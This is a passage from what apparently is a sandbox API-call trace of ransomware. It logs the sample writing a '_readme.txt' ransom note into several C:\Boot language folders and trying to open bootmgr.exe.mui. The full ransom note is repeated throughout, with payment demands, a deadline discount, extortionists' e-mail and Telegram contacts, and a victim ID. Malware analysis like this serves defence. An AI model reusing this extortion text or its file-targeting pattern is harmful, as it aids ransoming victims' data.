decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.848] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.848] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.848] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0112.848] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.849] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.849] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.849] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.849] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.850] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.850] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.850] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.850] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0112.850] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0112.850] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.850] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.850] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.850] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.850] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0112.851] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.851] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.851] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.851] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.851] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.851] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.851] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.851] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.851] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0112.851] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0112.852] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.852] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.852] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.852] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.852] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0112.852] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.852] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.852] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.852] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.852] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.853] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.853] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.853] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.853] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0112.853] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0112.853] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.853] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.853] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.853] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, 